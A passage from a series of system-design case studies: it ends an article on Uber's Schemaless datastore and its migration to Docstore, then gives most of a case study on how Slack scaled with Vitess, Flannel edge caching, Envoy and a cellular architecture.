**Worker failure**: Leader redistributes shard assignments to remaining workers.

**Leader failure**: New leader elected. Processing continues without redistribution.

**Offset tracking**: Offsets persisted to ZooKeeper or Schemaless itself. On restart, resume from last committed offset.

## Migration: Project Mezzanine

### Dual-Write Strategy

Migration from PostgreSQL to Schemaless used a **dual-write pattern**:

![Diagram](./diagram-4.svg)

1. **Phase 1**: All writes go to PostgreSQL. Shadow writes to Schemaless.
2. **Phase 2**: Shadow reads from Schemaless, compare with PostgreSQL results.
3. **Phase 3**: Primary reads from Schemaless, PostgreSQL as fallback.
4. **Phase 4**: Schemaless primary for reads and writes. PostgreSQL deprecated.

### Timeline

| Date             | Milestone                                                    |
| ---------------- | ------------------------------------------------------------ |
| Early 2014       | Crisis identified: growth would exhaust capacity by year end |
| ~5 months        | Schemaless design and implementation                         |
| 6 weeks          | Final intensive development sprint                           |
| Mid-October 2014 | Go-live ("a month before Halloween")                         |
| October 31, 2014 | Halloween (high-traffic day) - no incidents                  |

**Why "Mezzanine"**: The project codename referred to the trip datastore—Uber's first production Schemaless instance.

### Migration Safeguards

- **Abstraction layer**: `lib/tripstore` with feature flags for routing
- **Shadow verification**: All queries replayed to both systems, results compared
- **Gradual cutover**: Traffic shifted incrementally with rollback capability
- **Zero-downtime requirement**: No planned maintenance windows

## Outcome

### Scale Achieved

| Metric               | Value (2016)             |
| -------------------- | ------------------------ |
| Schemaless instances | 40+                      |
| Storage nodes        | Thousands                |
| Worker nodes         | Several thousand         |
| Trips milestone      | 2 billion (October 2016) |

### Performance Improvements

After rewriting the sharding layer from Python to Go ("Project Frontless", December 2016):

| Metric          | Improvement  |
| --------------- | ------------ |
| Median latency  | 85% decrease |
| P99 latency     | 70% decrease |
| CPU utilization | 85% decrease |

### Replication Performance

Multi-datacenter replication (Herb engine):

| Metric                 | Value                       |
| ---------------------- | --------------------------- |
| Replication throughput | 550-900 cells/second median |
| Replication latency    | 82-90 milliseconds          |

### Operational Benefits

- **Horizontal scaling**: Add shards/nodes without application changes
- **Operational familiarity**: MySQL tooling, monitoring, backup procedures
- **Fault isolation**: Shard failures don't cascade
- **Development velocity**: Teams work independently on different Schemaless instances

## Evolution to Docstore

### Why Schemaless Needed Replacement

By 2020, Schemaless limitations became friction:

| Limitation                    | Impact                                                          |
| ----------------------------- | --------------------------------------------------------------- |
| **Immutability constraint**   | Developer friction for general-purpose use cases                |
| **Eventual consistency only** | Complex application logic for consistency-sensitive workloads   |
| **No transactions**           | Multi-entity operations required application-level coordination |
| **Limited query capability**  | Cell-level lookups only; no complex queries                     |

### Docstore Architecture

Published February 2021, Docstore provides:

| Feature          | Schemaless      | Docstore                                 |
| ---------------- | --------------- | ---------------------------------------- |
| Data model       | Immutable cells | Mutable documents                        |
| Consistency      | Eventual        | **Strict serializability per partition** |
| Transactions     | None            | **Full transaction support**             |
| Schema           | Schemaless      | Schema with enforcement                  |
| Query capability | Cell lookups    | Rich query engine                        |

**Key innovation**: MySQL transactions replicated via Raft consensus. Users can imagine transactions execute sequentially within a partition.

**Docstore design goal**: "Provide the best of both worlds: schema flexibility of document models, and schema enforcement seen in traditional relational models."

## Lessons Learned

### Technical Lessons

#### 1. Operational Familiarity Trumps Features

**The insight**: Uber chose MySQL not because it was the best distributed database, but because engineers knew how to operate it. Cassandra's features were less valuable than MySQL's operational predictability.

**When this applies**:

- Team has deep expertise in a technology
- Production reliability matters more than feature richness
- Debugging and recovery procedures are well-established

**Warning signs you might need this**:

- Incidents caused by unfamiliar database behavior
- Operations team can't debug production issues
- Recovery procedures are undocumented

#### 2. Immutability Simplifies Distribution

**The insight**: By making cells immutable, Schemaless eliminated entire classes of problems: update conflicts, partial updates, consistency during replication. The trade-off—storage growth—was acceptable for trip data.

**When immutability works**:

- Event-like data (transactions, trips, logs)
- When full history has value
- When storage is cheaper than coordination complexity

**When it doesn't**:

- Frequently-updated entities
- Large objects with small updates
- When storage costs dominate

#### 3. Fixed Sharding Avoids Coordination

**The insight**: Dynamic resharding is complex. Fixed 4,096 shards meant no coordination for routing, no rebalancing during growth. The limit was acceptable for trip data volumes.

**Trade-off**: 4,096 is a hard scaling limit. Beyond this, each shard handles more load rather than spreading to more shards.

**When fixed shards work**:

- Predictable upper bound on data/traffic
- Operational simplicity matters
- Resharding complexity isn't worth the flexibility

#### 4. Triggers Enable Event-Driven Architecture

**The insight**: The append-only model created a natural change log. Triggers turned the database into an event source, enabling billing, analytics, and replication without additional infrastructure.

**Pattern**: If your writes are append-only, you already have event sourcing. Expose it.

### Process Lessons

#### 1. Build on What You Know Under Pressure

**The insight**: With a year to prevent infrastructure collapse, Uber chose to build on MySQL rather than learn a new system. This was the right trade-off for their timeline and risk profile.

**When to apply**:

- Tight timelines with high stakes
- Team has deep expertise in an alternative
- New technology would add operational risk

#### 2. Abstraction Layers Enable Safe Migration

**The insight**: `lib/tripstore` abstracted the storage layer, enabling dual-write, shadow verification, and gradual cutover. Without this abstraction, migration would have been riskier.

**Pattern**: Before migrating storage, introduce an abstraction layer. This adds short-term complexity but de-risks the migration.

## Applying This to Your System

### When Schemaless-Style Architecture Applies

You might benefit from this pattern if:

- [ ] Your data is event-like (trips, transactions, logs)
- [ ] You need horizontal write scaling beyond a single database
- [ ] Your team has MySQL/PostgreSQL expertise
- [ ] You can tolerate eventual consistency for secondary indexes
- [ ] Immutability makes sense for your data model

### When It Doesn't Apply

This pattern is wrong if:

- [ ] You need strong consistency across entities
- [ ] Your data requires frequent in-place updates
- [ ] You need complex queries (joins, aggregations)
- [ ] Storage costs are a primary concern
- [ ] Your team prefers managed services over operational control

### Starting Points

If exploring this architecture:

1. **Model your data as cells**: Can entities be decomposed into (key, column, version)?
2. **Prototype on single MySQL**: Implement cell model, indexes, triggers
3. **Add sharding layer**: Fixed hash-based routing to multiple databases
4. **Implement buffered writes**: Handle master failures gracefully
5. **Build trigger infrastructure**: Enable event-driven workflows

## Conclusion

Schemaless succeeded by being deliberately limited. Instead of building a feature-complete distributed database, Uber built a thin layer that solved their specific problem: horizontal scaling for trip data using technology they knew how to operate. The cell model's immutability traded storage efficiency for operational simplicity. Fixed sharding traded flexibility for predictability. Eventually consistent indexes traded correctness for scalability.

These trade-offs were right for trip data in 2014. They became limitations by 2020, leading to Docstore. The lesson isn't that Schemaless was the "right" architecture—it's that architecture choices are contextual. Uber's constraints (team expertise, timeline, data characteristics) led to different choices than a greenfield system might make today.

## Appendix

### Prerequisites

- Understanding of sharding and replication concepts
- Familiarity with MySQL/PostgreSQL operations
- Basic knowledge of eventual consistency trade-offs
- Understanding of event-driven architecture patterns

### Terminology

- **Cell**: Immutable data unit identified by (row_key, column_name, ref_key) with JSON body
- **Shard**: One of 4,096 fixed partitions; determined by hash(row_key)
- **Worker node**: Stateless routing layer between clients and storage
- **Storage node**: MySQL instance storing cells for a shard
- **Master/Minion**: Primary write server and async replicas
- **Hinted handoff**: Buffering writes to another master when target is unavailable
- **Trigger**: Async function invoked on cell changes

### Summary

- Uber built Schemaless in 2014 to escape single-PostgreSQL scaling limits
- Core innovation: immutable cells versioned by ref_key, stored in sharded MySQL
- Fixed 4,096 shards with deterministic routing eliminated resharding complexity
- Eventually consistent secondary indexes traded consistency for scalability
- Trigger system enabled event-driven billing, analytics, and replication
- Migration used dual-write with shadow verification for zero-downtime cutover
- Scaled to 40+ instances, thousands of nodes, billions of trips by 2016
- Evolved to Docstore by 2021 when strong consistency and transactions became priorities

### References

- [Designing Schemaless, Uber Engineering's Scalable Datastore Using MySQL](https://www.uber.com/blog/schemaless-part-one-mysql-datastore/) - Part 1: Core design and cell model
- [The Architecture of Schemaless, Uber Engineering's Trip Datastore Using MySQL](https://www.uber.com/blog/schemaless-part-two-architecture/) - Part 2: Worker/storage architecture
- [Using Triggers On Schemaless, Uber Engineering's Datastore Using MySQL](https://www.uber.com/blog/schemaless-part-three-datastore-triggers/) - Part 3: Trigger system
- [Project Mezzanine: The Great Migration](https://www.uber.com/blog/mezzanine-codebase-data-migration/) - Migration strategy and execution
- [Code Migration in Production: Rewriting the Sharding Layer of Uber's Schemaless Datastore](https://www.uber.com/blog/schemaless-rewrite/) - Python to Go rewrite (Project Frontless)
- [Evolving Schemaless into a Distributed SQL Database](https://www.uber.com/blog/schemaless-sql-database/) - Evolution to Docstore
- [Herb: Multi-DC Replication Engine for Uber's Schemaless Datastore](https://www.uber.com/blog/herb-datacenter-replication/) - Multi-datacenter replication
- [Why Uber Engineering Switched from Postgres to MySQL](https://www.uber.com/blog/postgres-to-mysql-migration/) - PostgreSQL limitations analysis

---

## Slack: Scaling a Real-Time Messaging Platform from Monolith to Distributed Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/slack-distributed-architecture
**Category:** System Design / Real-World Case Studies
**Description:** How Slack evolved from a PHP monolith with workspace-sharded MySQL into a distributed system handling 2.3 million queries per second (QPS) across Vitess-managed databases, 4 million concurrent WebSocket connections through a global edge cache, and a cellular infrastructure design achieving 99.99% availability—all without a single big-bang rewrite. This case study traces the architectural decisions behind each layer: data storage, real-time messaging, edge caching, and reliability infrastructure.

# Slack: Scaling a Real-Time Messaging Platform from Monolith to Distributed Architecture

How Slack evolved from a PHP monolith with workspace-sharded MySQL into a distributed system handling 2.3 million queries per second (QPS) across Vitess-managed databases, 4 million concurrent WebSocket connections through a global edge cache, and a cellular infrastructure design achieving 99.99% availability—all without a single big-bang rewrite. This case study traces the architectural decisions behind each layer: data storage, real-time messaging, edge caching, and reliability infrastructure.

<figure>

![Slack's distributed architecture as of ~2023. Traffic enters through Envoy, hits the Flannel edge cache, and flows into either the real-time messaging layer (Channel/Gateway Servers) or the webapp monolith. The data layer is anchored by Vitess-managed MySQL with memcached caching and Kafka for event streaming.](./slack-s-distributed-architecture-as-of-2023-traffic-enters-through-envoy-hits-th.svg)

<figcaption>Slack's distributed architecture as of ~2023. Traffic enters through Envoy, hits the Flannel edge cache, and flows into either the real-time messaging layer (Channel/Gateway Servers) or the webapp monolith. The data layer is anchored by Vitess-managed MySQL with memcached caching and Kafka for event streaming.</figcaption>
</figure>

## Abstract

Slack's architecture tells the story of pragmatic scaling—keeping a PHP monolith productive while surgically extracting the subsystems that couldn't scale within it.

The core mental model has four layers:

| Layer | Component | Design Choice | Trade-off |
|-------|-----------|---------------|-----------|
| **Edge** | Flannel + Envoy | Application-level edge cache with consistent hashing per workspace | Reduces backend load 7–44x but adds a stateful layer to manage |
| **Real-Time** | Channel Servers + Gateway Servers | Stateful servers with consistent hash rings; ~16M channels per host | Sub-500ms global message delivery but complex failure handling for stateful nodes |
| **Storage** | Vitess over MySQL | Workspace-sharded MySQL migrated to flexible Vitess keyspaces | Horizontal scaling and data residency support but 4+ year migration effort |
| **Reliability** | Cellular architecture via Envoy/Rotor | AZ-level isolation with 1% granularity traffic draining | 5-minute failover with 99.99% SLA but requires full stack duplication per AZ |

The transferable insight: Slack did not pursue the "rewrite everything as microservices" path. Instead, they kept the monolith as the coordination layer and invested in infrastructure systems around it—Vitess for flexible sharding, Flannel for edge caching, cellular architecture for blast radius containment. The monolith receives 30–40 deploys daily. The surrounding distributed systems evolve independently. This "thin monolith with specialized satellites" pattern scales both the system and the organization.

## Context

### The System

Slack is a channel-based messaging platform where workspaces (organizations) contain channels, and users send messages in real-time. Every architectural decision is shaped by three properties:

1. **Workspace isolation** — each customer's data lives in a logical partition
2. **Real-time delivery** — messages must reach all connected clients within 500 ms globally
3. **Persistent history** — every message is stored, searchable, and paginated

### Scale (as of 2020–2023)

| Metric | Value | Source |
|--------|-------|--------|
| Daily Active Users (DAU) | 10+ million | Disasterpiece Theater blog post (2019) |
| Concurrent WebSocket connections | 4 million (peak) | Flannel blog post (2019) |
| MySQL queries per second (peak) | 2.3 million (2M reads, 300K writes) | Vitess blog post (2020) |
| Median query latency | 2 ms | Vitess blog post (2020) |
| P99 query latency | 11 ms | Vitess blog post (2020) |
| MySQL hosts | Thousands (sharded) | Vitess blog post (2020) |
| Async jobs per day | 9 billion | Cron blog post (2022) |
| Production deploys per day | 30–40 | ReleaseBot blog post (2020) |

### The Tech Stack

- **Application server**: PHP monolith ("The Webapp"), migrated incrementally to Hack running on HHVM (HipHop Virtual Machine)
- **Database**: MySQL, originally workspace-sharded, migrated to Vitess (2016–2020)
- **Caching**: Memcached with Mcrouter for horizontal scaling
- **Real-time**: Custom Channel Servers (pub/sub) + Gateway Servers (WebSocket termination)
- **Load balancing**: HAProxy (migrated to Envoy, 2019–2020)
- **Edge caching**: Flannel (custom application-level cache)
- **Search**: Apache Solr with ML re-ranking
- **Service discovery**: Consul
- **Event streaming**: Kafka to S3 (Parquet format via Secor)
- **Analytics**: Presto, Hive, and Spark on AWS EMR (Elastic MapReduce)

### The Trigger

Slack launched in 2014 and grew from zero to millions of daily users within two years. By 2016, three scaling limits converged:

1. **Single workspace exceeding shard capacity** — the largest customers' data outgrew the biggest MySQL shards
2. **Rigid workspace-based sharding** — new products like Enterprise Grid (multi-workspace organizations) and Slack Connect (cross-organization channels) required data to span workspace boundaries, which the sharding model couldn't express
3. **Database hotspots** — some shards were overloaded while others sat underutilized, with no ability to rebalance without downtime

## The Problem

### Pre-Vitess Database Architecture

Slack's original MySQL deployment had three cluster types:

1. **Shards cluster** — customer data (messages, channels, DMs) partitioned by workspace ID. Each shard held multiple workspaces.
2. **Metadata cluster** — workspace-to-shard lookup mappings. Every query started here.
3. **Kitchen sink cluster** — non-workspace data (app directory, shared metadata)

Replication used asynchronous cross-datacenter replication with at least two MySQL instances per shard in different datacenters.

### Why This Architecture Hit Its Limits

**Single-workspace hotspots**: When a large enterprise customer joined Slack, their workspace could exceed the capacity of the shard it landed on. Moving a workspace between shards required downtime.

**Cross-workspace queries impossible**: Enterprise Grid needed to query across multiple workspaces owned by the same organization. The workspace-sharded model had no mechanism for this—you'd need to scatter queries across every shard.

**Operational burden**: Thousands of MySQL hosts ran non-standard configurations requiring extensive custom tooling. Adding capacity meant provisioning new physical shards, not simply splitting existing ones.

**Feature velocity impact**: Product engineers couldn't build features that required data to cross workspace boundaries, directly constraining Slack's enterprise strategy.

### Why It Wasn't Obvious

The workspace-sharded model worked well for Slack's original design: small-to-medium teams with independent workspaces. The limits only appeared when enterprise customers arrived (large workspaces) and product requirements changed (cross-workspace features). The database was scaling fine on traditional metrics—the problem was structural inflexibility.

## Options Considered

### Option 1: Custom Resharding Tooling

**Approach**: Build in-house tooling to split and rebalance workspace-sharded MySQL.

**Pros**:
- Minimal change to application code
- Well-understood technology (MySQL)

**Cons**:
- Still workspace-locked sharding—doesn't solve Enterprise Grid requirements
- Each rebalance operation carries downtime risk
- Doesn't address the operational burden of non-standard MySQL configurations

**Why not chosen**: Solves the hotspot problem but not the structural inflexibility. Enterprise Grid and Slack Connect still couldn't work.

### Option 2: Migrate to a Different Database

**Approach**: Move to a natively distributed database (e.g., CockroachDB, Spanner, or Cassandra).

**Pros**:
- Built-in horizontal scaling
- Automatic rebalancing

**Cons**:
- Massive migration effort for thousands of MySQL hosts
- Application code assumes MySQL semantics (transactions, joins, query patterns)
- Risk of subtle behavioral differences causing data issues
- Team had deep MySQL expertise, not distributed DB expertise

**Estimated effort**: 2+ years with high risk

**Why not chosen**: Too much behavioral change too fast. Slack's entire data access layer assumed MySQL.

### Option 3: Vitess (Chosen)

**Approach**: Deploy Vitess as a sharding middleware over MySQL—keeping MySQL as the storage engine while gaining flexible sharding, online resharding, and connection pooling.

**Pros**:
- Preserves MySQL semantics—application queries mostly unchanged
- Online resharding without downtime
- Connection pooling reduces MySQL connection overhead
- Flexible keyspace design supports non-workspace sharding schemes
- Active open-source community (YouTube origin, CNCF project)

**Cons**:
- Some MySQL query patterns unsupported through VTGate (Vitess's query router)
- Additional operational complexity (VTGate, VTTablet, topology service)
- Migration of thousands of shards is a multi-year project
- Team needed to build Vitess expertise

**Why chosen**: Preserves MySQL compatibility while solving all three problems—hotspots (online resharding), structural inflexibility (flexible keyspaces), and operational burden (standardized deployment).

### Decision Factors

| Factor | Custom Resharding | New Database | Vitess |
|--------|------------------|--------------|--------|
| Application code changes | Minimal | Extensive | Moderate |
| Solves Enterprise Grid | No | Yes | Yes |
| Online resharding | No | Built-in | Yes |
| Team expertise required | MySQL | New DB | MySQL + Vitess |
| Migration risk | Medium | Very High | High |
| Time to production value | 6 months | 2+ years | 1+ year |

## Implementation

### Phase 1: Vitess Adoption (2016–2017)

Slack began the Vitess evaluation in fall 2016. Rather than attempting a wholesale migration, they started with a low-risk workload: an RSS feed feature.

**Initial prototype approach**:
1. Deploy Vitess cluster alongside existing MySQL
2. Route RSS feed reads and writes through VTGate
3. Validate query compatibility and performance
4. Build confidence in operational patterns (backup, failover, monitoring)

This gave the team hands-on experience without risking core messaging data.

### Phase 2: Migration Infrastructure (2017–2019)

The team built three critical pieces of migration infrastructure:

**Application routing layer**: A query router in the webapp that could direct traffic to either legacy MySQL or Vitess on a per-table basis. This enabled table-by-table migration with instant rollback.

**Generic backfill system**: Tooling to copy data from legacy shards into Vitess keyspaces with consistent state verification. The system handled the complexity of migrating from workspace-sharded MySQL (where shard boundaries were fixed) to Vitess keyspaces (where shard boundaries are flexible).

**Double-write / double-read diffing**: During migration, writes went to both legacy MySQL and Vitess. Reads were compared between both systems, and any differences flagged for investigation. This caught query compatibility issues that unit tests missed—subtle differences in sort ordering, NULL handling, and transaction boundaries.

**Strategy evolution**: Slack initially migrated table-by-table but found this created a long tail of edge cases where cross-table queries broke when tables lived in different systems. They shifted to whole-shard migrations—moving entire workspace shards at once—which was operationally simpler despite moving more data per batch.

### Phase 3: Production Migration (2019–2020)

By the end of 2020, 99% of MySQL query traffic was running through Vitess.

**Post-migration architecture**:
- Multiple Vitess clusters across geographic regions
- Dozens of keyspaces with flexible sharding (channel-based, user-based, and workspace-based depending on access patterns)
- Vitess clusters in six regions supporting International Data Residency requirements
- The webapp monolith and additional services all route through VTGate

### COVID-19 Stress Test (March 2020)

The migration's value was proven dramatically when COVID-19 drove remote work adoption. Slack's query rates increased 50% in a single week. A single keyspace was horizontally scaled using Vitess's splitting workflows without any downtime—an operation that would have required provisioning new physical shards and migrating workspaces under the old architecture.

### Slack's Contributions Back to Vitess

Slack didn't just consume Vitess—they contributed significantly to the project:

- Topology metadata service scalability refactoring
- MySQL query compatibility improvements (fixing VTGate query translation gaps)
- Data migration tooling
- Load testing and introspection tools
- Integrations with Prometheus (metrics), Orchestrator (MySQL failover), and Percona Xtrabackup (backups)

## Real-Time Messaging Architecture

The real-time layer is separate from the data layer and is where Slack's architecture most diverges from a standard web application.

### Component Architecture

Four server types form the real-time messaging pipeline:

**Gateway Servers (GS)** — stateful services that terminate WebSocket connections. Each GS maintains a map of connected users and their channel subscriptions. Deployed across multiple geographic regions so clients connect to the nearest point of presence. A user's connection to a GS is long-lived (hours to days).

**Channel Servers (CS)** — stateful, in-memory servers that own channels via consistent hashing. At peak, each Channel Server manages approximately 16 million channels. When a message is sent to a channel, the responsible CS broadcasts the event to every GS that has a subscriber in that channel.

**Admin Servers (AS)** — stateless intermediaries that route messages from the webapp to the correct Channel Server. The AS uses the consistent hash ring to locate which CS owns a given channel.

**Presence Servers (PS)** — track online/offline status for users and distribute presence events.

### Message Flow

When a user sends a message:

1. Client sends HTTP POST to the webapp API
2. Webapp persists the message to Vitess
3. Webapp forwards the event to an Admin Server
4. AS hashes the channel ID to locate the responsible Channel Server
5. CS broadcasts the event to all subscribed Gateway Servers globally
6. Each GS pushes the event over WebSocket to connected clients in that channel

**Latency target**: messages delivered across the world within 500 ms.

Transient events (typing indicators, reactions) follow the same routing path but skip database persistence.

### Connection Flow

1. Client fetches a user token and connection URL from the webapp
2. Client connects to the nearest edge region via Envoy load balancer
3. Gateway Server retrieves the user's channel subscriptions
4. GS asynchronously subscribes to the relevant Channel Servers for each channel

### The Consistent Hashing Trade-off

Using consistent hashing to map channels to Channel Servers means:

- **Fast routing**: O(1) lookup for which CS owns a channel
- **Balanced load**: channels distribute across the CS fleet roughly evenly
- **Stateful failure impact**: when a CS dies, all 16M channels it owns must be reassigned and their in-memory state reconstructed

Slack validated this failure mode through their Disasterpiece Theater chaos engineering program, deliberately partitioning 25% of Channel Servers and confirming that Consul re-routed traffic correctly.

## Flannel: The Edge Cache

Flannel is Slack's application-level caching layer deployed at edge points of presence. It sits between clients and the backend, intercepting the startup data that every client needs when connecting.

### The Problem Flannel Solves

When a Slack client boots, it historically called `rtm.start`—an API that returned a complete model of the workspace: every channel, every member, every emoji, every preference. For a 32,000-user workspace, this payload was enormous and every connected client needed it.

### How Flannel Works

1. Clients connect to Flannel instead of directly to backend servers
2. Flannel uses **consistent hashing** to route users from the same workspace to the same Flannel host, maximizing cache hit rates
3. Flannel maintains its own WebSocket connection to Slack's backend, consuming real-time events to keep its cache fresh
4. On client boot, Flannel returns a slimmed-down startup dataset
5. Additional data loads lazily as the user navigates

**Proactive prefetching**: Flannel predicts what data clients will need next. When a user @mentions a colleague, Flannel proactively pushes that user's profile to clients that don't have recent data, eliminating a round-trip.

### Performance Impact

| Workspace Size | Payload Reduction |
|---------------|------------------|
| 1,500 users | 7x smaller |
| 32,000 users | 44x smaller |

At peak, Flannel handles:
- **4 million** simultaneous connections
- **600,000** client queries per second

### Presence Event Optimization

Flannel also optimized presence events (online/offline status updates). By implementing a pub/sub model at the edge, Flannel achieved a **5x reduction** in presence events reaching backend servers—clients only receive presence updates for users they're actively viewing.

## Load Balancing: HAProxy to Envoy Migration

In 2019–2020, Slack migrated from HAProxy to Envoy as their edge load balancer. The migration took 6 months with zero customer impact.

### Why HAProxy Was Replaced

**Hot restart problem**: HAProxy doesn't support dynamic configuration reloads. Every configuration change spawned a new set of HAProxy processes while old processes drained existing connections. With millions of long-lived WebSocket connections, old processes persisted for hours, creating memory pressure and operational complexity.

**Missing capabilities**: Envoy offered dynamic configuration (xDS APIs), zone-aware routing, passive health checking (Outlier Detection), and panic routing—none available in HAProxy without custom tooling.

### Migration Strategy

Rather than an in-place cutover, Slack deployed a parallel Envoy stack and used DNS-weighted routing (via NS1) to shift traffic gradually: 10% → 25% → 50% → 75% → 100% per region. Final regions completed in 2 days as confidence increased.

**Key challenge**: Extracting intentional behavior from organically-grown HAProxy configs proved difficult. Some services relied on undocumented HAProxy behaviors that had to be replicated in Envoy. The team temporarily broke their Daily Active User metric during migration due to a routing misconfiguration.

## Cellular Architecture (2022–2023)

Slack's most recent major infrastructure evolution is a cellular architecture that isolates failures to individual Availability Zones (AZs).

### Design

Each AZ operates as an independent service cluster—a "cell." Services within a cell only receive traffic from within their AZ and only send traffic upstream to servers in their AZ. This creates N virtual copies of each service, one per AZ.

### Traffic Routing

The system leverages Slack's Envoy/xDS infrastructure:

- **Rotor** (Slack's custom xDS control plane) manages dynamic weight assignment per AZ
- **RTDS** (Runtime Discovery Service) enables weight changes without Envoy restarts
- Weights provide **1% granularity** for traffic shifting

### AZ Drain Process

When an AZ experiences issues:

1. Rotor sends a signal to edge Envoy load balancers
2. Envoy reweights per-AZ target clusters
3. Traffic drains from the affected AZ within **5 minutes**
4. Propagation through the control plane takes **seconds**

### Why This Matters

The cellular architecture directly supports Slack's **99.99% availability SLA** (Service Level Agreement). Before cells, a failure in one AZ's service could cascade through shared infrastructure. Now, failures are contained within a single cell, and traffic redirects automatically.

## The Webapp: Why a Monolith Still Works

Unlike many scaling stories, Slack deliberately kept its PHP/Hack monolith as the central application server.

### Why PHP

Slack chose PHP (later migrated to Hack/HHVM) for three properties:

1. **State isolation**: every request starts from a blank slate. Bugs in request _t_ cannot affect request _t+1_. This provides organic fault isolation without the complexity of process supervisors.
2. **Safe concurrency**: individual requests run single-threaded with shared-nothing semantics. Parallelism comes from running many processes, not from shared-state concurrency.
3. **Developer velocity**: the edit-reload-test cycle has zero compilation or restart delay. With 150–190 changes merged per day and 30–40 deploys, this velocity matters.

HHVM's JIT (Just-In-Time) compilation provided significant CPU efficiency gains. Facebook reported 11.6x CPU efficiency improvement over standard PHP; Wikipedia reported 6x.

### The "Thin Monolith" Pattern

Slack's approach is to keep the monolith as an orchestration and business logic layer while extracting infrastructure concerns into specialized systems:

| Concern | Extracted To |
|---------|-------------|
| Sharding and query routing | Vitess |
| Edge caching and boot optimization | Flannel |
| Real-time message delivery | Channel/Gateway Servers |
| Load balancing and AZ routing | Envoy + Rotor |
| Service discovery | Consul |
| Async job processing | Job Queue (9B jobs/day) |
| Search | Solr |

The monolith itself deploys via an automated ReleaseBot that runs 24/7, using z-score anomaly detection (flagging data points exceeding 3 standard deviations from historical mean) to automatically halt deploys when metrics deviate.

## Incident: February 22, 2022

This incident illustrates how Slack's layered architecture can fail at the boundaries between layers.

### Root Cause

A Consul agent fleet upgrade was being rolled out, replacing 25% of the fleet. During the upgrade, memcached nodes were sequentially removed and replaced with empty cache nodes (new instances with cold caches). This caused cache hit rates to plummet.

### Cascade

1. **Cache layer degradation**: Empty memcached nodes drastically reduced hit rates
2. **Database overload**: Uncached requests flooded Vitess, particularly a keyspace storing channel membership data sharded by user ID
3. **Scatter query amplification**: Queries for group DM (Direct Message) membership required querying every shard of the user-sharded keyspace—a scatter query that's normally fast when most results come from cache, but devastating at full database fan-out
4. **Self-reinforcing failure**: High database load prevented cache refills, keeping hit rates low

### Resolution

- Immediate: throttled client boot requests to reduce database pressure
- Short-term: modified scatter queries to read from a channel-sharded table instead (co-located data, no scatter needed)
- Changed queries to read from Vitess replicas for missing data
- Gradually increased boot rate as the cache warmed

### Lesson

The incident exposed a coupling between the caching layer (Consul-managed memcached) and the database layer (Vitess). A routine infrastructure operation (Consul upgrade) triggered a catastrophic database load pattern. Slack's mitigation—throttling client boots—traded availability for stability, the correct choice under cascading failure.

## Search Architecture

Slack's search uses Apache Solr with a two-stage ranking system.

### Indexing

Messages flow through Kafka into Solr indexes. The search system supports two modes:

- **Recent Search**: returns messages matching all query terms in reverse chronological order
- **Relevant Search**: relaxes temporal constraints and incorporates Lucene scoring with ML re-ranking

### ML Re-Ranking

A two-stage pipeline:

1. **Stage 1 (Solr)**: retrieves candidate messages using computationally cheap features (term matching, recency)
2. **Stage 2 (Application)**: re-ranks using a SparkML SVM (Support Vector Machine) model trained on pairwise click behavior

Top ranking signals include message age, Lucene match score, user affinity to message author, channel priority, engagement metrics, and message formatting characteristics.

**Results** (November 2016 deployment): 9% increase in clicked searches and 27% increase in position-1 click-through rates.

## Outcome

### Metrics Comparison

| Metric | Before (~2016) | After (~2023) | Improvement |
|--------|---------------|---------------|-------------|
| Database scaling | Manual shard provisioning | Online resharding via Vitess | Zero-downtime capacity changes |
| Query routing flexibility | Workspace-only sharding | Dozens of keyspaces (channel, user, workspace) | Enterprise Grid and Slack Connect enabled |
| Client boot payload (32K users) | Full workspace model | Flannel lazy-loaded | 44x reduction |
| Concurrent connections (edge) | Direct to backend | 4M via Flannel | 5x presence event reduction |
| Load balancer config changes | HAProxy restart (minutes, process leak) | Envoy xDS (seconds, no restart) | Operational simplicity |
| Failure blast radius | Cross-AZ cascade possible | AZ-isolated cells, 5-min drain | 99.99% SLA achieved |
| Data residency | Single-region | 6 Vitess regions | International compliance |

### Timeline

| Year | Milestone |
|------|-----------|
| 2014 | Slack launches with PHP monolith, workspace-sharded MySQL |
| 2016 | Vitess evaluation begins; Enterprise Grid requirements emerge |
| 2017 | First Vitess workloads in production (RSS feed) |
| 2018 | Disasterpiece Theater chaos engineering program starts |
| 2019 | Flannel deployed; HAProxy-to-Envoy migration begins |
| 2020 | 99% of MySQL traffic on Vitess; COVID-19 surge handled via online resharding |
| 2022 | Cellular architecture rollout begins |
| 2023 | Cellular architecture complete; AZ-level isolation operational |

### Unexpected Benefits

- **Vitess community leverage**: Slack's contributions to Vitess (query compatibility, tooling) improved the platform for all users, and community improvements flowed back to Slack
- **Data residency for free**: Vitess's multi-region keyspace support enabled international data residency without a separate architecture
- **Operational standardization**: Vitess replaced non-standard MySQL configurations with a standardized deployment, reducing operational toil

### Remaining Limitations

- The monolith remains the bottleneck for certain product features that require tight cross-concern coordination
- Channel Servers are stateful, making them harder to scale and recover than stateless services
- The "last 1%" of Vitess migration (complex tables with unusual query patterns) required disproportionate effort

## Lessons Learned

### Technical Lessons

#### 1. Middleware Preserves Investments

**The insight**: Vitess let Slack keep MySQL—their team's deepest expertise—while gaining the scaling properties of a distributed database. The 4-year migration timeline was manageable because application code required only moderate changes.

**How it applies elsewhere**: When your database is hitting limits, consider middleware (Vitess, ProxySQL, PgBouncer, Citus) before abandoning the storage engine. The application-level compatibility is often worth more than the distributed database's native features.

**Warning signs**: You might need this when single tenants exceed shard capacity, or when product requirements demand data to cross your current partition boundaries.

#### 2. Edge Caching Buys More Than Backend Optimization

**The insight**: Flannel's 7–44x payload reduction had a larger impact than any backend optimization could achieve. Moving computation (cache warming, lazy loading, proactive prefetching) to the edge solved the startup performance problem structurally.

**How it applies elsewhere**: If your clients all request the same large dataset at connection time, an application-aware edge cache with consistent hashing (so same-tenant clients hit the same cache node) can eliminate the backend bottleneck entirely.

**Warning signs**: Boot/startup latency grows linearly with workspace/tenant size; backend load spikes correlate with user login patterns rather than usage patterns.

#### 3. Stateful Services Need Chaos Testing

**The insight**: Channel Servers hold 16M channels in memory per host. Slack's Disasterpiece Theater program deliberately killed Channel Servers, partitioned them, and degraded their dependencies to validate recovery paths. It took three attempts to correctly partition 25% of Channel Servers.

**How it applies elsewhere**: Any system with consistent hashing, in-memory state, or leader election needs regular failure injection—not just for the service itself, but for its dependencies (Consul, ZooKeeper, etcd).

**Warning signs**: You haven't tested what happens when a stateful node dies and its hash ring segments are reassigned under load.

### Process Lessons

#### 1. Table-by-Table Migration Creates a Long Tail

